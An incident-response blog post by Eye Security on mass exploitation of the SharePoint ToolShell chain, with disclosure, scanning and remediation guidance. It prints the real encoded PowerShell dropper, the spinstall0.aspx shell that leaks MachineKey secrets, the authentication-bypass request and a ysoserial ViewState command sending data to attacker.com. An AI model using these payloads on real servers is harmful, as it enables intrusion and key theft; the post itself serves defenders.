SharePoint 0-day uncovered (CVE-2025-53770) (original) (raw)

From SOC Alert Triage to SharePoint Mass Exploitation

On the evening of July 18, 2025, Eye Security was the first in identifying large-scale exploitation of a SharePoint remote code execution (RCE) vulnerability chain in the wild. Demonstrated just days before on X, this exploit is being used to compromise on-premise SharePoint Servers across the world. The chain we uncover in this blog combines CVE-2025-49706 & CVE-2025-49704 to get unauthorised RCE on unpatched SharePoint Servers.

After we learned about this chain being exploited in the wild, our team scanned over 23000 SharePoint servers worldwide. In total, we discovered more then 400 systems actively compromised during four confirmed waves of attack:

This blog will share our detailed findings and recommendations to patch & perform a compromise assessment if you think you are affected. While this story develops, we update this blog regularly as shown in our timeline using references. Consider following us on LinkedIn to help us spread the word.

Update (July 29, 2025): Clarifications and Corrections

Since the publication of this blog, we’ve received helpful feedback from the community. Here’s what we’ve updated based on thoughts shared by researcher @irsdl on X on the 28th of July 2025.

We’ve made these updates to ensure accuracy and help defenders respond effectively.
All remediation guidance remains valid.

A Word on Disclosure

This blog post follows dozens of responsible disclosures to affected organizations and their national GovCERT’s. In every confirmed case, we reached out directly with detailed evidence (including the exact SharePoint URL affected). Our priority is clear: defend the ecosystem. Therefore, we will mask some details in this blog while organizations are recovering from their breaches. And we will never share victims.

Evening of July 18, 2025

Early in the evening, our 24/7 detection team received an alert from one of our CrowdStrike Falcon EDR deploymentat a specific customer. The alert flagged a suspicious process chain on a legacy SharePoint on-prem server, tied to a recently uploaded malicious .aspx file.

At first glance, it looked familiar. A classic web shell, obfuscated code in a custom path, designed to allow remote command execution via HTTP. We’ve seen many of these before. What made this one stand out, however, was how it got there.

Our first hypothesis was mundane but plausible: a brute-force or credential-stuffing attack on a federated ADFS identity, followed by an authenticated upload or a remote code attempt using valid credentials. The affected SharePoint server was exposed to the internet and tied into Azure AD using a hybrid ADFS. That stack, when misconfigured or outdated, can be a dangerous combination.

It all seemed to confirm the theory: credentials compromised → shell dropped → persistence achieved.

Looking at the IIS logs more closely, we notice that the Referer is set to /_layouts/SignOut.aspx . That’s odd. How can that be an authenticated request, just after the user has logged out?

2025-07-18 18:xx:04 <proxy masked> POST /_layouts/15/ToolPane.aspx DisplayMode=Edit&a=/ToolPane.aspx 443 - <proxy masked> Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:120.0)+Gecko/20100101+Firefox/120.0 /_layouts/SignOut.aspx 302 0 0 707
2025-07-18 18:xx:05 <proxy masked> GET /_layouts/15/spinstall0.aspx - 443 - <proxy masked> Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:120.0)+Gecko/20100101+Firefox/120.0 /_layouts/SignOut.aspx 200 0 0 31

Something didn’t add up.

How could the attacker write files to the server, without authenticating at all?

ToolShell (CVE-2025-49706 & CVE-2025-49704)

That’s when we realized we were no longer dealing with a simple credential-based intrusion.
This wasn’t a bruteforce or phishing scenario. This was CVE territory.

After some digging, we learned that three days earlier, the offensive security team from Code White GmbH demonstrated they could reproduce an unauthenticated RCE exploit chain in SharePoint, a combination of two bugs presented at Pwn2Own Berlin earlier this year in May: CVE-2025-49706 & CVE-2025-49704. They dubbed the chain ToolShell.

At the time, it was considered a proof-of-concept. No public code was released, and details were scarce. But the timing matched. And so did the behavior: vulnerability in /_layouts/15/ToolPane.aspx, file writes, no login, and complete control of the web application process. But the HTTP Referer header used, was odd: /_layouts/SignOut.aspx .

We later found that this specific Referer has been fuzzed by @irsdl on the 17th of July 2025, only the decompilation of a .NET binary called Microsoft.PerformancePoint.Scorecards.Client.dll remained.

@irsdl finding /_layouts/SignOut.aspx as valid Referer to bypass authentication

This wasn’t a credential issue. We stumbled upon a weaponized Pwn2Own exploit being used in the wild.

ASPX payload: dumping crypto (SharpyShell)

When our team began reviewing the impacted systems, we expected to find the usual suspects: standard web shells designed for command execution, file uploads, or lateral movement. Instead, what we discovered was more subtle, and arguably more dangerous: a stealthy spinstall0.aspx file whose sole purpose was to extract and leak cryptographic secrets from the SharePoint server using a simple GET request.

Powershell.exe process spawned by w3wp.exe as grandparent (IIS worker) and cmd.exe as parent on the affected Windows Server (telemetry collected by our EDR):

powershell  -EncodedCommand JABiAGEAcwBlADYANABTAHQAcgBpAG4AZwAgAD0AIAAiAFAAQwBWAEEASQBFAGwAdABjAEcAOQB5AGQAQwBCAE8AWQBXADEAbABjADMAQgBoAFkAMgBVADkASQBsAE4ANQBjADMAUgBsAGIAUwA1AEUAYQBXAEYAbgBiAG0AOQB6AGQARwBsAGoAYwB5AEkAZwBKAFQANABOAEMAagB3AGwAUQBDAEIASgBiAFgAQgB2AGMAbgBRAGcAVABtAEYAdABaAFgATgB3AFkAVwBOAGwAUABTAEoAVABlAFgATgAwAFoAVwAwAHUAUwBVADgAaQBJAEMAVQArAEQAUQBvADgAYwAyAE4AeQBhAFgAQgAwAEkASABKADEAYgBtAEYAMABQAFMASgB6AFoAWABKADIAWgBYAEkAaQBJAEcAeABoAGIAbQBkADEAWQBXAGQAbABQAFMASgBqAEkAeQBJAGcAUQAwADkARQBSAFYAQgBCAFIAMABVADkASQBqAFkAMQBNAEQAQQB4AEkAagA0AE4AQwBpAEEAZwBJAEMAQgB3AGQAVwBKAHMAYQBXAE0AZwBkAG0AOQBwAFoAQwBCAFEAWQBXAGQAbABYADIAeAB2AFkAVwBRAG8ASwBRADAASwBJAEMAQQBnAEkASABzAE4AQwBnAGsASgBkAG0ARgB5AEkASABOADUASQBEADAAZwBVADMAbAB6AGQARwBWAHQATABsAEoAbABaAG0AeABsAFkAMwBSAHAAYgAyADQAdQBRAFgATgB6AFoAVwAxAGkAYgBIAGsAdQBUAEcAOQBoAFoAQwBnAGkAVQAzAGwAegBkAEcAVgB0AEwAbABkAGwAWQBpAHcAZwBWAG0AVgB5AGMAMgBsAHYAYgBqADAAMABMAGoAQQB1AE0AQwA0AHcATABDAEIARABkAFcAeAAwAGQAWABKAGwAUABXADUAbABkAFgAUgB5AFkAVwB3AHMASQBGAEIAMQBZAG0AeABwAFkAMAB0AGwAZQBWAFIAdgBhADIAVgB1AFAAVwBJAHcATQAyAFkAMQBaAGoAZABtAE0AVABGAGsATgBUAEIAaABNADIARQBpAEsAVABzAE4AQwBpAEEAZwBJAEMAQQBnAEkAQwBBAGcAZABtAEYAeQBJAEcAMQByAGQAQwBBADkASQBIAE4ANQBMAGsAZABsAGQARgBSADUAYwBHAFUAbwBJAGwATgA1AGMAMwBSAGwAYgBTADUAWABaAFcASQB1AFEAMgA5AHUAWgBtAGwAbgBkAFgASgBoAGQARwBsAHYAYgBpADUATgBZAFcATgBvAGEAVwA1AGwAUwAyAFYANQBVADIAVgBqAGQARwBsAHYAYgBpAEkAcABPAHcAMABLAEkAQwBBAGcASQBDAEEAZwBJAEMAQgAyAFkAWABJAGcAWgAyAEYAagBJAEQAMABnAGIAVwB0ADAATABrAGQAbABkAEUAMQBsAGQARwBoAHYAWgBDAGcAaQBSADIAVgAwAFEAWABCAHcAYgBHAGwAagBZAFgAUgBwAGIAMgA1AEQAYgAyADUAbQBhAFcAYwBpAEwAQwBCAFQAZQBYAE4AMABaAFcAMAB1AFUAbQBWAG0AYgBHAFYAagBkAEcAbAB2AGIAaQA1AEMAYQBXADUAawBhAFcANQBuAFIAbQB4AGgAWgAzAE0AdQBVADMAUgBoAGQARwBsAGoASQBIAHcAZwBVADMAbAB6AGQARwBWAHQATABsAEoAbABaAG0AeABsAFkAMwBSAHAAYgAyADQAdQBRAG0AbAB1AFoARwBsAHUAWgAwAFoAcwBZAFcAZAB6AEwAawA1AHYAYgBsAEIAMQBZAG0AeABwAFkAeQBrADcARABRAG8AZwBJAEMAQQBnAEkAQwBBAGcASQBIAFoAaABjAGkAQgBqAFoAeQBBADkASQBDAGgAVABlAFgATgAwAFoAVwAwAHUAVgAyAFYAaQBMAGsATgB2AGIAbQBaAHAAWgAzAFYAeQBZAFgAUgBwAGIAMgA0AHUAVABXAEYAagBhAEcAbAB1AFoAVQB0AGwAZQBWAE4AbABZADMAUgBwAGIAMgA0AHAAWgAyAEYAagBMAGsAbAB1AGQAbQA5AHIAWgBTAGgAdQBkAFcAeABzAEwAQwBCAHUAWgBYAGMAZwBiADIASgBxAFoAVwBOADAAVwB6AEIAZABLAFQAcwBOAEMAaQBBAGcASQBDAEEAZwBJAEMAQQBnAFUAbQBWAHoAYwBHADkAdQBjADIAVQB1AFYAMwBKAHAAZABHAFUAbwBZADIAYwB1AFYAbQBGAHMAYQBXAFIAaABkAEcAbAB2AGIAawB0AGwAZQBTAHMAaQBmAEMASQByAFkAMgBjAHUAVgBtAEYAcwBhAFcAUgBoAGQARwBsAHYAYgBpAHMAaQBmAEMASQByAFkAMgBjAHUAUgBHAFYAagBjAG4AbAB3AGQARwBsAHYAYgBrAHQAbABlAFMAcwBpAGYAQwBJAHIAWQAyAGMAdQBSAEcAVgBqAGMAbgBsAHcAZABHAGwAdgBiAGkAcwBpAGYAQwBJAHIAWQAyAGMAdQBRADIAOQB0AGMARwBGADAAYQBXAEoAcABiAEcAbAAwAGUAVQAxAHYAWgBHAFUAcABPAHcAMABLAEkAQwBBAGcASQBIADAATgBDAGoAdwB2AGMAMgBOAHkAYQBYAEIAMABQAGcAPQA9ACIADQAKACQAZABlAHMAdABpAG4AYQB0AGkAbwBuAEYAaQBsAGUAIAA9ACAAIgBDADoAXABQAFIATwBHAFIAQQB+ADEAXABDAE8ATQBNAE8ATgB+ADEAXABNAEkAQwBSAE8AUwB+ADEAXABXAEUAQgBTAEUAUgB+ADEAXAAxADYAXABUAEUATQBQAEwAQQBUAEUAXABMAEEAWQBPAFUAVABTAFwAcwBwAGkAbgBzAHQAYQBsAGwAMAAuAGEAcwBwAHgAIgANAAoAJABkAGUAYwBvAGQAZQBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAGEAcwBlADYANABTAHQAcgBpAG4AZwApAA0ACgAkAGQAZQBjAG8AZABlAGQAQwBvAG4AdABlAG4AdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGQAZQBjAG8AZABlAGQAQgB5AHQAZQBzACkADQAKACQAZABlAGMAbwBkAGUAZABDAG8AbgB0AGUAbgB0ACAAfAAgAFMAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZABlAHMAdABpAG4AYQB0AGkAbwBuAEYAaQBsAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAdABvAHAA

Decoding reveals the payload, unpacking a base64 layer and dropping its contents to spinstall0.aspx:

$base64String = "PCVAIEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5EaWFnbm9zdGljcyIgJT4NCjwlQCBJbXBvcnQgTmFtZXNwYWNlPSJTeXN0ZW0uSU8iICU+DQo8c2NyaXB0IHJ1bmF0PSJzZXJ2ZXIiIGxhbmd1YWdlPSJjIyIgQ09ERVBBR0U9IjY1MDAxIj4NCiAgICBwdWJsaWMgdm9pZCBQYWdlX2xvYWQoKQ0KICAgIHsNCgkJdmFyIHN5ID0gU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkuTG9hZCgiU3lzdGVtLldlYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EiKTsNCiAgICAgICAgdmFyIG1rdCA9IHN5LkdldFR5cGUoIlN5c3RlbS5XZWIuQ29uZmlndXJhdGlvbi5NYWNoaW5lS2V5U2VjdGlvbiIpOw0KICAgICAgICB2YXIgZ2FjID0gbWt0LkdldE1ldGhvZCgiR2V0QXBwbGljYXRpb25Db25maWciLCBTeXN0ZW0uUmVmbGVjdGlvbi5CaW5kaW5nRmxhZ3MuU3RhdGljIHwgU3lzdGVtLlJlZmxlY3Rpb24uQmluZGluZ0ZsYWdzLk5vblB1YmxpYyk7DQogICAgICAgIHZhciBjZyA9IChTeXN0ZW0uV2ViLkNvbmZpZ3VyYXRpb24uTWFjaGluZUtleVNlY3Rpb24pZ2FjLkludm9rZShudWxsLCBuZXcgb2JqZWN0WzBdKTsNCiAgICAgICAgUmVzcG9uc2UuV3JpdGUoY2cuVmFsaWRhdGlvbktleSsifCIrY2cuVmFsaWRhdGlvbisifCIrY2cuRGVjcnlwdGlvbktleSsifCIrY2cuRGVjcnlwdGlvbisifCIrY2cuQ29tcGF0aWJpbGl0eU1vZGUpOw0KICAgIH0NCjwvc2NyaXB0Pg=="
$destinationFile = "C:\PROGRA~1\COMMON~1\MICROS~1\WEBSER~1\16\TEMPLATE\LAYOUTS\spinstall0.aspx" <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mi>e</mi><mi>c</mi><mi>o</mi><mi>d</mi><mi>e</mi><mi>d</mi><mi>B</mi><mi>y</mi><mi>t</mi><mi>e</mi><mi>s</mi><mo>=</mo><mo stretchy="false">[</mo><mi>S</mi><mi>y</mi><mi>s</mi><mi>t</mi><mi>e</mi><mi>m</mi><mi mathvariant="normal">.</mi><mi>C</mi><mi>o</mi><mi>n</mi><mi>v</mi><mi>e</mi><mi>r</mi><mi>t</mi><mo stretchy="false">]</mo><mo>:</mo><mo>:</mo><mi>F</mi><mi>r</mi><mi>o</mi><mi>m</mi><mi>B</mi><mi>a</mi><mi>s</mi><mi>e</mi><mn>64</mn><mi>S</mi><mi>t</mi><mi>r</mi><mi>i</mi><mi>n</mi><mi>g</mi><mo stretchy="false">(</mo></mrow><annotation encoding="application/x-tex">decodedBytes = [System.Convert]::FromBase64String(</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">eco</span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">d</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mord mathnormal">t</span><span class="mord mathnormal">es</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">ys</span><span class="mord mathnormal">t</span><span class="mord mathnormal">e</span><span class="mord mathnormal">m</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mord mathnormal">o</span><span class="mord mathnormal">n</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal" style="margin-right:0.02778em;">er</span><span class="mord mathnormal">t</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">::</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="mord mathnormal">ro</span><span class="mord mathnormal">m</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mord mathnormal">a</span><span class="mord mathnormal">se</span><span class="mord">64</span><span class="mord mathnormal">St</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">in</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mopen">(</span></span></span></span>base64String) <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mi>e</mi><mi>c</mi><mi>o</mi><mi>d</mi><mi>e</mi><mi>d</mi><mi>C</mi><mi>o</mi><mi>n</mi><mi>t</mi><mi>e</mi><mi>n</mi><mi>t</mi><mo>=</mo><mo stretchy="false">[</mo><mi>S</mi><mi>y</mi><mi>s</mi><mi>t</mi><mi>e</mi><mi>m</mi><mi mathvariant="normal">.</mi><mi>T</mi><mi>e</mi><mi>x</mi><mi>t</mi><mi mathvariant="normal">.</mi><mi>E</mi><mi>n</mi><mi>c</mi><mi>o</mi><mi>d</mi><mi>i</mi><mi>n</mi><mi>g</mi><mo stretchy="false">]</mo><mo>:</mo><mo>:</mo><mi>U</mi><mi>T</mi><mi>F</mi><mn>8.</mn><mi>G</mi><mi>e</mi><mi>t</mi><mi>S</mi><mi>t</mi><mi>r</mi><mi>i</mi><mi>n</mi><mi>g</mi><mo stretchy="false">(</mo></mrow><annotation encoding="application/x-tex">decodedContent = [System.Text.Encoding]::UTF8.GetString(</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">eco</span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">d</span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mord mathnormal">o</span><span class="mord mathnormal">n</span><span class="mord mathnormal">t</span><span class="mord mathnormal">e</span><span class="mord mathnormal">n</span><span class="mord mathnormal">t</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">ys</span><span class="mord mathnormal">t</span><span class="mord mathnormal">e</span><span class="mord mathnormal">m</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="mord mathnormal">e</span><span class="mord mathnormal">x</span><span class="mord mathnormal">t</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mord mathnormal">n</span><span class="mord mathnormal">co</span><span class="mord mathnormal">d</span><span class="mord mathnormal">in</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">::</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">U</span><span class="mord mathnormal" style="margin-right:0.13889em;">TF</span><span class="mord">8.</span><span class="mord mathnormal">G</span><span class="mord mathnormal">e</span><span class="mord mathnormal">tSt</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">in</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mopen">(</span></span></span></span>decodedBytes) <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mi>e</mi><mi>c</mi><mi>o</mi><mi>d</mi><mi>e</mi><mi>d</mi><mi>C</mi><mi>o</mi><mi>n</mi><mi>t</mi><mi>e</mi><mi>n</mi><mi>t</mi><mi mathvariant="normal">∣</mi><mi>S</mi><mi>e</mi><mi>t</mi><mo>−</mo><mi>C</mi><mi>o</mi><mi>n</mi><mi>t</mi><mi>e</mi><mi>n</mi><mi>t</mi><mo>−</mo><mi>P</mi><mi>a</mi><mi>t</mi><mi>h</mi></mrow><annotation encoding="application/x-tex">decodedContent | Set-Content -Path </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">eco</span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">d</span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mord mathnormal">o</span><span class="mord mathnormal">n</span><span class="mord mathnormal">t</span><span class="mord mathnormal">e</span><span class="mord mathnormal">n</span><span class="mord mathnormal">t</span><span class="mord">∣</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mord mathnormal">o</span><span class="mord mathnormal">n</span><span class="mord mathnormal">t</span><span class="mord mathnormal">e</span><span class="mord mathnormal">n</span><span class="mord mathnormal">t</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mord mathnormal">a</span><span class="mord mathnormal">t</span><span class="mord mathnormal">h</span></span></span></span>destinationFile -ErrorAction Stop

Contents of spinstall0.aspx, most probably created with Sharpyshell (92bb4ddb98eeaf11fc15bb32e71d0a63256a0ed826a03ba293ce3a8bf057a514)

<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="c#" CODEPAGE="65001">
    public void Page_load()
    {
        var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
        var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
        var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
        var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object[0]);
        Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode);
    }
</script>

This wasn’t your typical webshell. There were no interactive commands, reverse shells, or command-and-control logic. Instead, the page invoked internal .NET methods to read the SharePoint server’s MachineKey configuration, including the ValidationKey. These keys are essential for generating valid __VIEWSTATE payloads, and gaining access to them effectively turns any authenticated SharePoint request into a remote code execution opportunity.

Then it all clicked together.

RCE on SharePoint using ysoserial

Based on us reading about CVE-2021-28474, we learned how the mass exploitation used the ASPX payload to maintain persistence, even after patching: utilizing the way SharePoint handles __VIEWSTATE.

In the original CVE-2021-28474, attackers abused the server-side control parsing logic in SharePoint pages to inject unexpected objects into the page lifecycle. This was possible because SharePoint loaded and executed ASP.NET ViewState objects using a signing key, namely the ValidationKey, stored in the machine’s configuration. By crafting a malicious page request with a serialized payload, and correctly signing it, an attacker could cause SharePoint to deserialize arbitrary objects and execute embedded commands. However, the exploit was gated by the requirement to generate a valid signature, which in turn required access to the server’s secret ValidationKey.

Now, using the ToolShell chain (CVE-2025-49706 + CVE-2025-49704), the attackers we observed were able to extract the ValidationKey via the malicious ASPX. Once this cryptographic material is leaked, the attacker can craft fully valid, signed __VIEWSTATE payloads using a tool called ysoserial as shown in the example below. Using ysoserial the attacker can generate its own valid SharePoint tokens for RCE:

# command to get the <VIEWSTATE_GENERATOR> via any public available SharePoint page, like start.aspx
curl -s https://target.com/_layouts/15/start.aspx | grep -oP '__VIEWSTATEGENERATOR" value="\K[^"]+'
# example malicious Powershell viewstate payload that the adversary can utilize as RCE to list a dir
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"dir 'C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\15\TEMPLATE\LAYOUTS' | % { Invoke-WebRequest -Uri ('http://attacker.com/?f=' + [uri]::EscapeDataString($_.Name)) }\"" \
--generator="<VIEWSTATE_GENERATOR>" \
--validationkey="<VALIDATION_KEY>" \
--validationalg="<VALIDATION_ALG>" \
--islegacy \
--minify
# finally, by adding the generated token to any request, the command is executed (RCE)
curl http://target/_layouts/15/success.aspx?__VIEWSTATE=<YSOSERIAL_GENERATED_PAYLOAD>

These payloads can embed any malicious commands. It allows for full persistence and zero authentication, even after patching.

Patch Clarifications: CVE-2025-53770 and CVE-2025-53771

About 24 hours after we published our initial findings and contacted affected vendors, the Microsoft Security Response Center (MSRC) released an out-of-band advisory addressing two new CVEs: CVE-2025-53770 (a patch bypass of CVE-2025-49704) and CVE-2025-53771 (a bypass of CVE-2025-49706). These CVEs were introduced to fix weaknesses in the original July 8 patches, but as Microsoft later clarified in their guidance, they had not yet been exploited in the wild at that time.

The confirmed exploitation activity, observed by us and others since July 17, seems to be based on the original vulnerabilities CVE-2025-49704 and CVE-2025-49706, now collectively referred to as ToolShell. Systems that received the original July 8 patch should be immune to the exploit waves we gave observed.

We continue to advise defenders to take action immediately, especially by reviewing system logs, rotating machine keys, and following Microsoft’s mitigation steps, regardless of patch status.

Our first response

For our customer, we immediately initiated a thorough sweep of the SharePoint server and surrounding systems to ensure no additional web shells or persistence mechanisms were present. In parallel, we directly notified the customer, isolated the affected system from the network, and activated our incident response protocol. While the full compromise assessment is still ongoing and we will not disclose further details at this time, early evidence suggests that the attack was stopped before it could succeed**,** thanks to the timely intervention of our EDR, which blocked further execution and prevented lateral movement.

After performing some searches across all customers, we confirmed there were no other active intrusions, allowing us to start our research to inform potential other victims.

Scanning the internet to inform victims

Realizing we were likely witnessing the first wave of a mass exploitation campaign, we expanded our scope. Using internal telemetry, we scanned over 23000 public-facing SharePoint environments.

# determine SharePoint version
curl -s -I -X OPTIONS --connect-timeout 5 "https://$HOST" \
  | grep -i "^MicrosoftSharePointTeamServices:" \
  | awk '{print $2}' | tr -d '\r'

# fetch malicious aspx endpoint (note that SP always returns HTTP 200 even if file does not exist)
RESPONSE=$(curl -s -w "HTTPSTATUS:%{http_code}" --connect-timeout 5 "$URL")
BODY=$(echo "$RESPONSE" | sed -e 's/HTTPSTATUS\:.*//g')
STATUS=$(echo "$RESPONSE" | tr -d '\n' | sed -e 's/.*HTTPSTATUS://')
SIZE=$(echo -n "$BODY" | wc -c)

# filter on HTTP response bodies of exactly 160 bytes in size
if [ "$STATUS" = "200" ] && [ "$SIZE" -le 160 ]; then
    echo "$BODY"
fi

# if the aspx implant is there, you now have obtained proof (160 bytes long)
# response body format (example):

[A-Z0-9]{64}|HMACSHA256|[A-Z0-9]{64}|Auto|Framework20SP1

Our goal of scanning was clear: determine if the exploit was isolated or systemic. The answer came quickly and decisively: it was systemic. Within hours, we identified more then dozens of separate servers compromised using the exact same payload at the same filepath. In each case, the attacker had planted a shell that leaked sensitive key material, enabling complete remote access.

Given the scale and severity, we moved fast to privately disclose our findings. We compiled technical IOCs, URLs, and compromise indicators and contacted multiple national CERTs acrossthe world. We also notified the relevant affected organizations when possible, in line with responsible disclosure guidelines. Later on, we got offered support by watchTowr, Shadowserver, DIVD and Hadrian in notifying victims and improve scanning.

Call to action: follow Microsoft’s guidance

We strongly advise you to follow Microsoft Customer guidance for SharePoint vulnerability CVE-2025-53770.

Rotating Machine Keys (pre-caution)

The attack we’ve observed specifically targets the exfiltration of SharePoint server ASP.NET machine keys. These keys can be used to facilitate further attacks, even at a later date. It is critical that affected servers rotate SharePoint server ASP.NET machine keys and restart IIS on all SharePoint servers. Patching alone is not enough.

If you are not targeted, or you are unsure, we also advise teams to rotate their Machine Keys just to be sure. It has no system impact, only that IIS is offline for some seconds while restarting services.

To update the machine keys using PowerShell, use the following documentation from Microsoft Learn:

# Method 1: manual per webap
## List all web apps
Get-SPWebApplication | Format-Table DisplayName, Url, Id

## Manually select one of the following formats to select the webapp:
## - Web Application URL, e.g: "https://intranet.contoso.com"
## - Display Name of Web App, e.g.: "SharePoint - 443"
## - Web Application GUID, e.g.: "d8d39c8d-f2e3-4f7f-a3fc-18b9d56b7ac4"
## Replace <webapp> with URL, name or GUID you selected
Set-SPMachineKey -WebApplication <webapp> 
Update-SPMachineKey -WebApplication <webapp>

# Method 2: bulk
## If you wish to rotate sites in bulk, you can use the following loop.
## It's not recommended, only do this if you know what you are doing.
Get-SPWebApplication | ForEach-Object {
    Write-Host "Updating machine key for <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo></mrow><annotation encoding="application/x-tex">(</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span></span></span></span>_.Url)"
    Set-SPMachineKey -WebApplication $_
    Update-SPMachineKey -WebApplication $_
}

Please note that in specific setups, like in clustered or load-balanced environments, our instructions might not work. If possible, please consult a specialised partner to support and validate.

After rotating the keys, restart IIS on all SharePoint servers by running: iisreset.exe .

Understanding the risk (for CISO’s)

CVE-2025-49706 and CVE-2025-49704, also referred to as ToolShell, are critical vulnerabilities in on-premises SharePoint that enable attackers to gain control of servers without authentication.

You should assess for compromise immediately and respond accordingly. If that’s done, you should assess & test your patching process and controls, making sure vendors patches are deployed asap once they are available.

Immediate response recommendations

If you verified you are compromised, act immediately. Follow Microsoft’s advisory and make sure to:

  1. Isolate or shut down affected SharePoint servers. Blocking via firewall is not enough as persistence may already exist.
  2. Renew all credentials and system secrets that could have been exposed via the malicious ASPX.
  3. Engage your incident response team or a trusted cybersecurity firm. Time is critical. If you need support, please consult specialised support.

Indicators of Compromise (IOC’s)

Please share the following indicators with your IT-team and/or MSP, allowing them to check their logs. Please not that this list might not be complete.

Indicators of Attack (IoA’s)

The following queries can be used to hunt exploitation attempts with CrowdStrike Falcon, Defender for Endpoint and Sentinel One Complete.

CrowdStrike Falcon (Next-Gen SIEM)

GrandParentBaseFileName="w3wp.exe" ParentBaseFileName="cmd.exe" FileName="powershell.exe" // Suspicious process started by w3wp.exe
| join(query={(#event_simpleName="ProcessRollup2" FileName="w3wp.exe" CommandLine=/Sharepoint/i) or CommandLine=/SharePoint/i}, field=[aid]) // Find servers running SharePoint
